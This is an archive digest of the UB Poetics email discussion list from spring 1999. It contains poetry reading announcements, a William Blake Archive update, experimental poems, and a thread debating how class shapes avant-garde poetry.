beaulieu / house press Subject: Fw: Para>poetics Comments: To: Undisclosed.Recipients@mail4.cadvision.com MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit Para>poetics reading series Presents Canadian Poet Kaushalya Bannerji 7PM Thursday, April 8, 1999 at Truck (An Artist-Run Centre) BSMT 815 1 St. SW (The Grain Exchange Building) Calgary, Alberta, Canada Kaushalya Bannerji is a Toronto poet whose words resonate with the force of the political, the conscious, the consciences, the startling, and the brilliant. She has published two books of poetry: A New Remembrance and The Faces of Five O¹clock. Her work has also appeared in a variety of anthologies, including the publications: Pearls of Passion: A Treasure of Lesbian Erotica (Sister Vision Press), Outrage: Dikes and Bi¹s Resist Homophobia (Woman¹s Press), A Lotus of Another Colour: the Unfolding of South Asian Gay and Lesbian Experience (Alyson, USA), and By For and About: Women Writing Culture. She has a passion for the beautiful poem; her words take the reader on journeys that include Amsterdam, Lima, and the other side of town. This reading is free and open to the public. We acknowledge the support of the Canada Council for the arts. Thanks to TRUCK for generously providing their space. ========================================================================= Date: Wed, 31 Mar 1999 14:19:43 -0500 Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: Brian Stefans Subject: Sachler / Sachner is a collector of concrete poetry books Mime-Version: 1.0 Content-Type: multipart/mixed; Boundary="0__=zfSthR4xr2tD2eSo5ujow5ZTunknd1fc6CXDCMKtaP3KA1ILv1AbWLDd" --0__=zfSthR4xr2tD2eSo5ujow5ZTunknd1fc6CXDCMKtaP3KA1ILv1AbWLDd Content-type: text/plain; charset=us-ascii Content-Disposition: inline ...and is probably worth knowing, though I guess by the tone of your post he's not the most charismatic guy. I don't know what's happening in Miami these days, and it's great to hear about caravans of poets crossing timelines in the South -- sounds very interesting and fresh -- so if any of you do get around to visiting this archive I'd love to hear about it. Here's the URL for their website: http://www.rediscov.com/sackner.htm And here's the first paragraph on the site: Ruth and Marvin Sackner founded the Archive in Miami Beach, Florida in 1979. Its initial mission was to establish a collection of books, critical texts, periodicals, ephemera, prints, drawings, collages, paintings, sculptures, objects, manuscripts, and correspondence dealing with precursory and contemporary, internationally produced, concrete and visual poetry. The precursory material had at its starting point, Stephane Mallarme --0__=zfSthR4xr2tD2eSo5ujow5ZTunknd1fc6CXDCMKtaP3KA1ILv1AbWLDd Content-type: text/plain; charset=windows-1257 Content-Disposition: inline Content-transfer-encoding: quoted-printable =92s poem, "Un Coup de Des" (Cosmopolis, 1897). The historic antecedents included works with concrete/visual poetic sensibilities from such twentieth cen= tury art movements as Italian Futurism, Russian and Eastern European Avant Garde, Dada, Surrealism, Bauhaus, De Stijl, Ultra, Tabu-Dada, Lettrisme, and Ultra-Lettrisme. PS Does anyone have Augusto de Campos's mailing address (or e-mail address). I owe him some books -- he generously sent me a few of his, which are expensive and multicolored, so I wanted to bung a few his way= but discarded the envelope. Thanks... = --0__=zfSthR4xr2tD2eSo5ujow5ZTunknd1fc6CXDCMKtaP3KA1ILv1AbWLDd-- ========================================================================= Date: Wed, 31 Mar 1999 16:59:50 -0800 Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: Ron Starr Subject: George Oppen's Alpine - Question MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Were the poems in Oppen's _Alpine: Poems_ (Mount Horeb, WI: Perishable Press, 1969) incorporated in the 1975 Collect Poems? Does anyone know the contents of _Alpine_ (regardless of their incorporation)? I'm hoping that someone out there knows in order to spare me the time of an interlibrary loan (really I'm hoping that they're in the _Collected_ by I suspect they aren't....). Thank you in advance for any help. - Ron Starr ========================================================================= Date: Thu, 1 Apr 1999 13:48:42 -0500 Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: "A. Jenn Sondheim" Subject: Confessive-Repulsive Disorder (fwd) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII \ Confessive-Repulsive Disorder Says Jennifer, which is exactly what I have - she should know, I'm wearing her dirty panties... Ah well... These are notes from _all over._ Jennifer can't stand the fact I'm writing all the time. I find it yummy. But it's a disorder, disorderly - my life's a mess. I'm a piece of shit. In those painting crits, I tell her, I'm always reminded of other people's work - _this_ painting surrounded by flows and images which inundate it - just like this editor, interrupted by incoming. I'm made entirely out of such information - call it _composition,_ call it fresh-woman composition. Call it fresh-man. The sea of images and the sea of imaginaries. But this is crazy. Guilt at being part of the war-machine, hopeless and decomposed - nothing stops it but arbitrary actions by arbitrary old white men. Their white is the color of death. Their cocks are violent and filled with poison. They shit on themselves because they can't help it so they clean the rest of the world. The mouths of the rest of the world are filled with missiles. They starve to death with metal shit. Don't forget how a bomb works: it expands. They have no imaginary. They have to make everything real. They have to make everything hard. They are hard workers. They fuck metal with metal. I will push the dirty panties up into my hole. I will enjoy myself. I will show you everything at a big party. You will see me and touch me and hear me and smell me. I am yours forever. Every five years in this big world of ours, there is nothing to write any- more. Every thousand, there are no readers. Alan ___________________________________________________________________________ ========================================================================= Date: Thu, 1 Apr 1999 10:03:15 -0800 Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: juliana spahr Subject: class MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Just went to a talk the other day on Carolyn Chute and class. And then all the talk post-pagemothers on class. It is worrying me. The reason we as a society have trouble talking about class is that it is endlessly complicated. It is hard to quantify, much less smell or generalize about preferences of roughness or smoothness. Once we start to act like it is something that can be called out in the language of clear category (that academic means middle or whatever), we do class the disservice of assuming it is an easy marker. Even though our society, falsely, treats race or gender as something absolute, it has never treated class that way. Yet that class is the language that white people at times use to assert their marginalization makes me nervous about it all the time. Yet I also think it is crucial to talk about all the time (who knows it might lead to the class revolution). So I am grateful for the discussion. I guess my question is how do we talk about class while paying attention to how many people pass in both directions all the time? How do we talk about class and make room for the way some people move up and down it all the time? Is class growing up background? Or is it net income at current year? And what are the income levels? Or is it purely cultural? Is there a lower class culture of dirty shirts and beer drinking that the Chute talk seemed to suggest? An upper class culture that owns artyness? How does rural and urban play into this? What about marriage and wives with no income? Does education disqualify one from being lower class? Does one's academic job disqualify one from being lower class anymore? What if you are an adjunct? Does one's Yale undergrad degree on scholarship disqualify? Or if one grows up upper class yet goes to the local community college, does that change? Like those students who can't understand My Life, I really can't imagine that their background income is that different from Hejinian's--her father was an academic administrator (a decent but not the best paying job), her mother a housewife. The New College, where she worked until recently, is known for its substandard salaries. She doesn't have an advanced degree. What is making her the symbol for middle (?) classness to these students? Is it because she doesn't in My Life put her self forward as a marginalized subject? I mean these questions not as critique but just as questions. I am glad this discussion has been happening. ========================================================================= Date: Thu, 1 Apr 1999 15:08:57 -0500 Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: Poetry Project Subject: next week Mime-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Here we are a day early, as the office is closed tomorrow... NEXT WEEK: Monday, April 5th Open Reading Sign-up at 7:30, reading at 8 Wednesday, April 7th !!!ANNE WALDMAN & VICTOR HERNANDEZ CRUZ!!! Friday, April 9th As part of the People's Poetry Gathering at 9:30 pm The Shadow Writing Project at 10:30 pm Robert Bly & Robert Pinsky (co-sponsored by City Lore & Poets House) Other events: Brenda Coultas, Marcella Durand, Kim Lyons, Prageeta Sharma, and Eleni Sikelianos will talk about Women Writers at the Poetry Project at the Barnard Conference, ("Where Lyric Tradition Meets Language Poetry: Innovation in Contemporary American Poetry by Women") on Friday April 9th at the bright 'n' early hour of 9 am. Our various subtopics include: "Baby Poems: Notley, Mayer, Waldman, and more"; "Women Publishing/Publishing Women at the Poetry Project"; "Notions of Ethnicity: Creating a Poetic Community"; "A Retrospective of Experimental Women's Writing at the Project"; "Memory & Ascent: Mayer, Notley & Waldman." For more information & a full schedule of events, call Tiffany Dugan at (212) 854-8021. P.S. Regarding our website, which is temporarily on the blitz (for us--it's still accessible for you), the updated April calendar will be up NEXT WEEK. Also, next week, more additions to the Tiny Press Center! ========================================================================= Date: Thu, 1 Apr 1999 17:02:38 -0500 Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: "Kevin L. Magee" Subject: Re: SEWN MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit NUAGES ROSES <> Senghor/Niedecker c'était le cri douze mille mots le même mon amie, comment entendrai-je ta voix livrée aux courants électriques les morts et les terres hautes des morts dans ma case vide de sens dix ans dans la grimace des heures dans l'impatience des heures dans le délire des heures il y a des heures pour souffrir dans l'étreinte du combat tous les heures d'illusions et les débris d'idées tu m'as dit d'arbres après la canonnade les édifices elles m'ont parlé de l'Absente d'où naître l'équilibre, ton visage que je recomposais le sel était de sang par quels chemins de sel de souffrance acceptée le baiser qui franchit les frontières quand passe l'aile d'acier sur notre empire en nous comme une citadelle une promesse un royaume entrevu auprès de toi j'ai retrouvé troi cents kilomètres les escadres aériennes cet ordre de bataille cette ligne d'acier et de feu où tonnent de grandes déchirures de métal sous les bombes sur la seconde de l'éclair à la sueur lourde dans tes bras tes seins et tes pouvoirs les légendes d'or des nuits nuptiales et foudroyant les capitales le long des chemins de guerre dans le regard des fièvres des cadences écoute camarades des siècles d'incendie écoute quand glissent glacées d'azur les ailes leurs voiles déployées et les mythes autour de moi mutilées au choc des mitrailleuses la vérité la beauté c'est l'ouvrier brisant le calme meurtrier de leurs salons donne-moi tes maines calleuses et lourdes toi qui luttes pour le repos de l'autre dans l'Avril d'un autre ce chant constellé de l'éclatement du combat chant immense au milieu de mille ruts couché dans l'ivresse de la moisson mûre vois le sang de mes mains dites-moi si ton sang ne s'est-il mêlé comme le lait et le pain bis du paysan dans ses mains si calleuses chaque goutte répandue est une pointe de feu: ils m'ont dit, danse pour nous j'ai dansé pour eux et ils ont ri j'ai travaillé pour eux et ils ont ri, ils m'ont dit va mourir pour nous mais j'ai donné la main aux parias de l'ordure à fleur de l'âme je serai la mouette la morte par danser toujours à rebours la chanson le vin bu me ramenait à cette autre certitude elle proclame l'attente amoureuse elle proclame l'émoi qui fait tremble le corps elle proclame ton baiser plus fort que la mort par les routes captives le long routes du désastre, balles des chiens dans les halliers noirs fils du lion qui rugit dans le dos creux est-ce sa faute si Dieu lui a demandé de tes cris sa voix bleue dans l'air lavé de haine dans la fièvre de ce printemps ils ouvrent leurs ailes et chantent des Te Deum en latin pies-corbeaux a ceux qui s'engraissent de meurtres et mesurent en cadavres les étapes de leur règne se rejoignent dans la ligne droite du combat, luttes homériques sur le roc la Cité de demain le don de la promise que se lève la nuit du sexe se désintègre la syntaxe chante le diamant qui naît des cendres nous sommes là ensemble comme avant mon pays de sel et ton pays de neige chante à l'unisson et ce fut honneur à mon nom ouvrez ma chair, ma chevelure mon sperme réel pour t'aimer à jamais mon corps s'abandonne à toi rends-moi insensé par d'innombrables moi cuivre et zinc à mon flanc ici leurs clameurs malheur ton sexe sont devenus les armes du réel NUAGES ROSES SUR LES ÉPAULES DES HIBISCUS écoute-la sous le délire de ton sexe qui coupe le souffle à mes narines j'ai besoin je le sais de ton savoir nous serons encore là toi et moi comme avant qui donnent de l'allure l'amour dans ces cuisses dévoilées au solstice de Juin, comme dans l'an de la défaite et dans l'an de l'espoir au destin je veux être un théâtre dans la parole de l'Absente qui règne charles dumont ========================================================================= Date: Thu, 1 Apr 1999 20:29:01 EST Reply-To: Ctfarmr@aol.com Sender: UB Poetics discussion group From: Bobbie West Subject: Re: Class, Working Pages, and the Mothers Conference MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Maria Damon wrote: >>can you mention anyone other than dorothy allison who seems to you to correspond to the class differences you indicate? what about kathy acker? i'd peg her as "nice middle class jewish girl" and she does indeed allude to lots of high-falutin writers in her work, but it's not exactly smooth<< The mention of Dorothy Allison was in the context of defining class, referring to her essays on the subject, rather than the grittiness of her fiction. I was thinking more of the general lack of grit in poetry magazines on the Lang end of the spectrum rather than of individuals (not a blanket criticism; I love a lot of what's called language poetry). And since I haven't done a study of individual writers' class backgrounds, my conclusions are mostly of the gut-reaction sort. It would be really interesting to me if someone did a study to see if my theory holds true. So in that vein, here are a few more unsubstantiated ideas for some academically inclined person to investigate: I have the strong impression that among those of us in the nth generation of "innovative" poetry, people who identify more with the working class or poor tend to lean a little more toward the New York (Berrigan) school and those from the middle class are more likely to lean toward Langpo. More: that "rough" writing seems more acceptable as avant garde fiction than as avant garde poetry and that people from the middle class who like gritty writing are rebelling specifically against those middle-class norms that I mentioned (i.e., smoothing over the rough, hushing the noise, taming the emotions.) Which is why I think Bukowski is so popular. His writing is a direct repudiation of the myth of "the American dream": Life is tough, awkward, painful, dirty, and often beyond our control. Even Bukowski's obnoxious sexism is, in part, his challenge to the 50's view of the dainty little (middle class, white) woman "on a pedestal." As an added bonus for many from the lower classes, his characters are familiar. You say to yourself, "Yeah, I _know_ that person. That could be ol' Dave." You know the nuances of their home life, how their kitchens smell, their social behavior, their accents. And this is important when you're constantly being discounted or erased by mainstream society and its literature. Geez, how did I get onto Bukowski? Anyhow, I hope this gives y'all somethin' to chew on. Bobbie ========================================================================= Date: Thu, 1 Apr 1999 12:27:49 -0500 Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: Linda Russo Subject: Re: Barnard Conference... MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit hi Maria & Chris -- I had the same reaction as Chris, and a similar pang of be-little peoplement -- it wasn't at all clear that what I was getting myself into in agreeing to give a paper was also a bill. Is the practice so common that it goes without saying, either on the form, or on the part of the organizers? Too add insult to naivete (or whatever it is that lead me to think presenting was 'enough'), those who lately got a whiff of the coffee have to pay a 'late fee' totalling $50 for the 2 days (whereas w/student id my fee would have been less than half that) -- granted this IS NOT the MLA, but a small conference with a mixture of profs, grad students, and poets & critics otherwise affilitated, would you say this is the going fare? At this point though I'm wondering how much I'll even grumble under my breath when I hand over the plastic (I hope they take plastic!) -- because it looks to be an interesting weekend. Your panel by the way chris is on my too see list. BUT if you chris see a way out of this (other than except maybe assuming a posture of personal insult when asked to pay at the registration table), you know that here's another who was duped. -----Original Message----- From: Maria Damon (Maria Damon) To: POETICS@LISTSERV.ACSU.BUFFALO.EDU Date: Tuesday, March 30, 1999 8:15 AM Subject: Re: Barnard Conference... >chris this is pretty common, as at MLA, ASA, etc. you have to register, >which costs bucks, sometimes big bucks, and then pay your own expenses when >yr there... unless you've got a generous dept. or special travel funds... >sucky but true... > ========================================================================= Date: Thu, 1 Apr 1999 21:05:08 -0500 Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: louis stroffolino Subject: CAT REQUEST!!!!!!! In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Dear Poetics people, especially those in the New York area. The poet Ange Mlinko, whose Matinees is wowing them lyric-mongers here in new york, is leaving for morocco, and needs a good home for her two beautiful fun (and complementary) cats---- I had hoped to be able to take them myselves, but no longer can. If anybody can do so (ASAP!!!!!), you will save them from the hell of a shelter..... please backchannel me, thanks, chris stroffolino ========================================================================= Date: Wed, 31 Mar 1999 13:28:50 -0500 Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: Mairead Byrne Subject: Re: Class is . . . In-Reply-To: <3.0.5.32.19990330155702.00fe3730@mail.earthlink.net> MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII Content-transfer-encoding: 7BIT Well, I accept that, Mark. I associate sniffing with the ferreting out of undesirables. Your association sounds friendlier: a little like the agreement on boundaries, achieved as a result of an impressive dispersal of urine, between a man and a wolf in a recent movie I saw. I would be a hopeless stoop-sitter: So you're the man and you're the wolf .... or is the other way round ... you're a bit of a wolf and a bit of a man ... well you both piss don't you .... I'm sorry, I get confused ... now you're the man, no the wolf, I have it, I swear I have you pegged, you're a were-wolf, isn't that right ... now which of you writes the poetry, is it yourself Mr. Wolf ...? Oh well. Mairead On Tue, 30 Mar 1999, Mark Weiss wrote: > Mairead: In any multi-ethnic, multi-class environment everyone does this > kind of sniffing. When I moved into a largely Irish and Italian > neighborhood in Brooklyn the stoop-sitters very quickly quizzed me and > pronounced me Jewish. There was no malice in it, ever, and I lived there > for close to a decade. What they learned was what category of their > experience I fit into, and my behavior was measured against that norm (and > served to moderate it to some extent) rather than against what would be > expected of an Irishman. It wasn't "What else can you expect from a Jew" > but "He's Jewish, which means that x behavior probably indicates..." > The ability to maintain and apply disparate approximate models of behavior > is a necessary survival skill in cosmopolitan environments. Ethnicity and > class are among other things behavioral languages that often need to be > translated. > My ex-wife, who came from a part of North Carolina where, as she expressed > it, there were three classes: Southern, Mountain, and Black, was always > amazed at my ability (perfectly average for a New Yorker) to arrive at > quick and usually accurate hypotheses about class and origin--her > environment, with its fewer and starker distinctions, hadn't trained her to > do likewise. ========================================================================= Date: Thu, 1 Apr 1999 12:38:31 -0600 Reply-To: Camille Martin Sender: UB Poetics discussion group From: Camille Martin Subject: flying burrito series Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII * * * N E W O R L E A N S R E A D I N G S E R I E S * * * El Poeta Presents The Poet as Shaman a weekly series at *The Flying Burrito* Tuesdays 8 p.m. 2018 Magazine Street Program Director: Dave Brinks F E A T U R E D P O E T S : March 23 Amy Ouzoonian / Gathering of Tribes March 30 Beverly Rainbolt / Chris Champagne April 6 Valentine Pierce / John Sinclair April 13 Jose Torres Tama / Kalamu Ya Salaam April 20 Andrei Codrescu / Dave Brinks April 27 Kay Murphy / Ralph Adamo May 4 Rodger Kamenetz / Dennis Formento May 11 James Nolan / Yictove May 18 Heather Black / BJ Raineri, Jr. May 25 Lee Grue / Arthur Pfister June 1 Nancy Harris / Ahmos Zu-Bolton June 8 Gina Ferrara / Jonathan Kline June 15 Beth McCormack / Reverend Goat June 22 Andy Young / John Cooper * * * M O R E T O C O M E * * * www.mojono.com/el_poeta ========================================================================= Date: Thu, 1 Apr 1999 13:19:39 -0000 Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: travmar03 Subject: Fw: a Talk by poet Stephen Rodefer Comments: To: American Poetry Review , amorris1@swarthmore.edu, ampoupard , Andre Codrescu , avraham@sas.upenn.edu, banchang@sas.upenn.edu, Barbara Cole , Brendan , Brett Evans , Buck Downs , Chris McCreary , Chris Stroffolino , Cindy Burstein , dburnham@sas.upenn.edu, Don Riggs , gbiglier@nimbus.ocis.temple.edu, Heather Fuller , Heather Starr , ianjewell@netscape.net, Janine Hayes , jon8stark@aol.com, Justin , Kerry Sherin , Kevin Varrone , Kristen Gallagher , Kyle Conner , lkoutimhot@aol.com, Margit , Michael Magee , Molly B Russakoff , Nawi Avila , Philadelphiawriters@dept.english.upenn.edu, Poetry Project , potepoet@home.com, Ron Silliman , Sub Po Etics , swalker@dept.english.upenn.edu, swineburne@yahoo.com, T Sinioukov , TDevaney@brooklyn.cuny.edu, tf@morningred.com, vhanson@netbox.com, Writers House , xentrica@earthlink.net >Dear Poets! Join us Saturday for a talk by poet Stephen >Rodefer at Writers House, followed by a reading at the Highwire Gallery >with Rodefer and Shawn Walker. >_____________________________________________________________________ > > saturday > april 3 > at 5:00 PM > at the Kelly Writers House, 3805 Locust Walk > the Transparency Machine series at the Kelly Writers House > and Highwire Gallery present > > + + + + + + + + + + + + + + + > S T E P H E N R O D E F E R > + + + + + + + + + + + + + + + > "The Age in its Cage: > A Social Allegory of Literature and the Deformation of the Canonymous" > >Stephen Rodefer is the author of several collections of poetry, including >_Left Under a Cloud_ (1999), _Answer to Doctor Agathon_ (1995), _Erasers_ >(1994), _Leaving_ (1992), _Emergency Measures_ (1987), and _Four Lectures_ >(1977). Rodefer recently returned to the United States following three >years teaching in Paris and two at Cambridge. He lives and works in >Williamsburg, Brooklyn. He has been associated with the Language School >Poets and was a student of Charles Olson. He has also taught at San >Francisco State University, University of New Mexico-Albuquerque, and >others. > >The Transparency Machine Series gives writers the chance to situate their >work in the context of wider cultural practices -- reading, writing, the >visual arts, theory, politics, and mass media. > >Followed by an 8:00 pm reading by Stephen Rodefer and Shawn Walker at the >Highwire Gallery, 139 N. 2nd Street, between Race and Arch. > >from Rodefer's "Subtraction" in _Passing Duration_: > > The distance is impossible for each to span. We separate ourselves >with a manner of rest, gestures, syllables. Rapid hockets return what >left us edgy. The aspect speaks marks, gains favor, slams margins, at >last is only money. Space is saved. Agreement names the song the sixth >intelligence and we pass along. Solid main we fasten, and only green are >wise, only grave are mild. The enamel of our lips is highly lit, so >luminous we become as seen. > > I saw the election with my companions and raised my eyelids higher, >sitting in the philosophy of a family. There was a good collection of >qualities, but there was not a moral nor geometries, though endless avid >rows made the record of their comment. The graveyard lapped the swing >where love and work were one. Dido lost her liveliness in the theme that >chases this. The word again did fail its argument. The group diminishes >to three. And in the other shift the loop that led us there, from pant to >hat, from triangle to hair, was cut and reassessed to be a brow beak. >Then nothing alone which was not light; nothing does which is not done. > > Still they beckon the descent. The diminished human world proposes >shortening. But it cannot. The ground survives forewarned. > >--All the Best Kelly Writers House Kyle Connor Greg Fuchs ========================================================================= Date: Thu, 1 Apr 1999 23:01:38 -0500 Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: Daniel Kane Subject: Wang Ping plus an O'Hara question MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII There's an interview up with poet Wang Ping that may be of interest to people on this list. You'll find it on the WriteNet site at http://www.writenet.org/poetschat/poetschat_wping.html In the interview, Wang Ping talks about her poem "Syntax." She also discusses how speakers of English as a Second Language can write good poems in English without worrying too much about grammar and syntax. As usual, Teachers & Writers Collaborative encourages you to bring her poem into your classroom and share it with your students. National Poetry Month or not National Poetry Month. By the way, I am trying to trace the origin of a story re: Frank O'Hara where O'Hara, responding to the question "What do you think of Dylan Thomas," responded "I can't stand all that Welsh spit." Does anyone know if this story is true, and if it is documented anywhere? ========================================================================= Date: Thu, 1 Apr 1999 20:59:00 PST Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: Karen McKevitt Subject: Re: class Mime-Version: 1.0 Content-type: text/plain Juliana Spahr wrote: >I guess my question is how do we talk about class while paying attention >to how many people pass in both directions all the time? How do we talk >about class and make room for the way some people move up and down it >all the time? Is class growing up background? Or is it net income at >current year? And what are the income levels? Or is it purely cultural? >Is there a lower class culture of dirty shirts and beer drinking that >the Chute talk seemed to suggest? An upper class culture that owns >artyness? How does rural and urban play into this? What about marriage >and wives with no income? Does education disqualify one from being lower >class? Does one's academic job disqualify one from being lower class >anymore? What if you are an adjunct? Does one's Yale undergrad degree on >scholarship disqualify? Or if one grows up upper class yet goes to the >local community college, does that change? Yes yes yes! These questions are very good. Very smart. I have only started thinking about class myself--I have been somewhat sheltered as a grad student who went from Daddy's support to "Government Loan Support", and am now starting to get a good dose of reality. I told my friend the other day that I think about class every time I go to the laundromat. I might argue that class is an ever-shifting thing. I came from an upper-middle-class background. Grew up in Silicon Valley, Dad works at Intel, Mom has acrylic nails and hardwood floors. 4 bedroom, 3 car garage. I'm finding that many people make assumptions about my class based on my parents' class--for instance, when my 11-year-old car broke down again, someone asked my why my Dad didn't buy me a new one. My Dad NEVER bought me a car. Anyway, I use these as examples and not because I'm whiny and bitter--not the case. I'm still "new" in how I think about it. I wonder, is this because I am of the generation that will not do as "well" as our parents? I wonder if I have "inherited" the class sensibilities of my parents--I certainly have had to undo the materialistic side of it. I might have inherited class, but I certainly haven't inherited any money to back it up. I am also intrigued by Kathy's "sniffing." It's such a great word--I think it's associations are what makes people find it distasteful. I would love for Kathy to elaborate on that act of sniffing. Though I don't think so, I wonder if sniffing and assumptions are the same. Dare I say, as a straight white person, that some minority/marginalized individuals have placed assumptions on me--they have assumed my politics, have assumed my stance? I'm not denying that I walk around with a certain amount of priviledge. Well, yes, class is shifting. I wonder if the gripe should be about capitalism and how corporations value (or don't value) employees, individuals, etc. What are we really worth? What is my work worth? My time? Sorry for getting off those questions-- Karen McKevitt Get Your Private, Free Email at http://www.hotmail.com ========================================================================= Date: Thu, 1 Apr 1999 14:44:59 -0500 Reply-To: blake-board@lists.village.virginia.edu Sender: UB Poetics discussion group From: The William Blake Archive Subject: Blake Archive's April Update Comments: To: blake-update@lists.village.virginia.edu Comments: cc: blake-board@lists.village.virginia.edu MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII The William Blake Archive is pleased to announce the publication of two new electronic editions of Blake's satiric masterpiece, _The Marriage of Heaven and Hell_. They are of copies C and F, both of which are in the Pierpont Morgan Library. _Marriage_ copy C, printed in 1790 in green ink on both sides of the leaf, was printed and colored in the style of early copies of _Songs of Innocence_. It has not been reproduced in color before. _Marriage_ copy F was beautifully and heavily color printed on one side of the leaf (with copy E) in c. 1794. It was produced in the style used for _Songs of Experience_ of _Songs of Innocence and of Experience_ copy F, color printed in 1794 and recently published in the Archive, as well as for _Visions of the Daughters of Albion_ copy F, also in the Archive. _Marriage_ is the only illuminated book Blake did not sign and date; he did, however, pen in "1790" over line 1 in plate 3 of copy F, thereby clarifying the plate's allusion to 1757 ("and it is now thirty-three years since its advent"), the year of the Last Judgment, according to Swedenborg, and of Blake's birth. Copies C and F join _Marriage_ copy D, already in the Archive. Copy D, the Lessing J. Rosenwald copy in the Library of Congress, is also of bibliographical interest, in that it was printed in c. 1795 as part of a set of illuminated books that were printed on folio-size paper. This large-paper set also included _America_ copy A, _All Religions are One_ copy A, _There is No Natural Religion_ copy L, and _The Book of Thel_ copy F, all of which are in the Archive. It also included _Visions of the Daughters of Albion_ copy G, _The First Book of Urizen_ copy B, _Europe_ copy H, and _Songs of Innocence and of Experience_ copy R, all of which will enter the Archive within the next six months. We now have thirty-one copies of sixteen illuminated books in the Archive. In addition to the books, we recently opened a new wing of the Archive, consisting of an extensive array of supporting materials: an updated and expanded Plan of the Archive, a statement of Editorial Principles and Methodology, a summary of the Archive's technical design and implementation, and a list of Frequently Asked Questions. Our hope is that these extensive documentary materials will prove valuable both to our own growing user community as well as to scholars interested in the theory and practice of electronic editing more generally. Morris Eaves, Robert N. Essick, Joseph Viscomi, Editors Matthew Kirschenbaum, Project Manager The William Blake Archive ========================================================================= Date: Fri, 2 Apr 1999 08:44:28 -0600 Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: David Zauhar Subject: Re: class In-Reply-To: <3703B4E3.A38974E9@lava.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Defining "Class" is one of those places that cultural studies folks can be helpful. Here's one of the ur-cultstuds, E.P. Thompson, in the preface to his monumental _The Making of the English Working Class_: "If we stop history at a given point, then there are no classes but simply a multitude of individuals with a multitude of experiences. But if we watch these men over an adequate period of social change, we observe patterns in their relationships, their ideas, and their insititutions. Class is defined by men as they live their own history, and, in the end, this is its only definition." EPT, _TMEWC_, 1963). And of course, now women are given credit for living their own history too. My guess is that one of the problems with dealing with class in the US is the ahistorical if not amnesiac quality of American culture. There are others, too, obviously. In any case, for what it's worth. . . David Zauhar University of Illinois at Chicago Art isn't made, it's in the world almost unseen but found existent there. We paint, we save the sound in music, we write it down. --William Bronk, 1918-1999 On Thu, 1 Apr 1999, juliana spahr wrote: > Just went to a talk the other day on Carolyn Chute and class. And then > all the talk post-pagemothers on class. It is worrying me. The reason we > as a society have trouble talking about class is that it is endlessly > complicated. It is hard to quantify, much less smell or generalize about > preferences of roughness or smoothness. Once we start to act like it is > something that can be called out in the language of clear category (that > academic means middle or whatever), we do class the disservice of > assuming it is an easy marker. Even though our society, falsely, treats > race or gender as something absolute, it has never treated class that > way. Yet that class is the language that white people at times use to > assert their marginalization makes me nervous about it all the time. > > Yet I also think it is crucial to talk about all the time (who knows it > might lead to the class revolution). So I am grateful for the > discussion. > > I guess my question is how do we talk about class while paying attention > to how many people pass in both directions all the time? How do we talk > about class and make room for the way some people move up and down it > all the time? Is class growing up background? Or is it net income at > current year? And what are the income levels? Or is it purely cultural? > Is there a lower class culture of dirty shirts and beer drinking that > the Chute talk seemed to suggest? An upper class culture that owns > artyness? How does rural and urban play into this? What about marriage > and wives with no income? Does education disqualify one from being lower > class? Does one's academic job disqualify one from being lower class > anymore? What if you are an adjunct? Does one's Yale undergrad degree on > scholarship disqualify? Or if one grows up upper class yet goes to the > local community college, does that change? > > Like those students who can't understand My Life, I really can't imagine > that their background income is that different from Hejinian's--her > father was an academic administrator (a decent but not the best paying > job), her mother a housewife. The New College, where she worked until > recently, is known for its substandard salaries. She doesn't have an > advanced degree. What is making her the symbol for middle (?) classness > to these students? Is it because she doesn't in My Life put her self > forward as a marginalized subject? > > I mean these questions not as critique but just as questions. I am glad > this discussion has been happening. > ========================================================================= Date: Thu, 1 Apr 1999 21:40:40 EST Reply-To: Pompeiij@aol.com Sender: UB Poetics discussion group From: Jessica Pompeii Subject: 3 faces MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit All this Kosovo stuff saddens me. The class stuff too. People with all the answers, who want to become famous. I am disappointed that my posts don't get posted the rare times I attempt. 1 out 3 is subtracted. I tried to say that I am a vegetarian and don't know the first thing about pacifism. And how do you? This list feels very over fished to me. Maybe it's me but, "the writing community" does not feel even room temperature. I am not interested in battle of the bands style poetry readings. I work for a boss at nonprofit literary arts center that hates me, the harder I work. He screams at me. If I were a secretary in real job maybe I could sue him. I think how we treat each other is more important than being a star. Except for a small handful of people, this air conditioned boat leaves me cold and adrift in academic name dropping. And I am not jealous, just wishing for more heat. Respect for other peoples opinions does not mean necessarily agreeing. So here I am listening and attempting to participate. -Jessica ========================================================================= Date: Wed, 31 Mar 1999 21:23:34 -0700 Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: Charles Alexander Subject: Re: class In-Reply-To: <19990402045900.54175.qmail@hotmail.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" >I might argue that class is an ever-shifting thing. 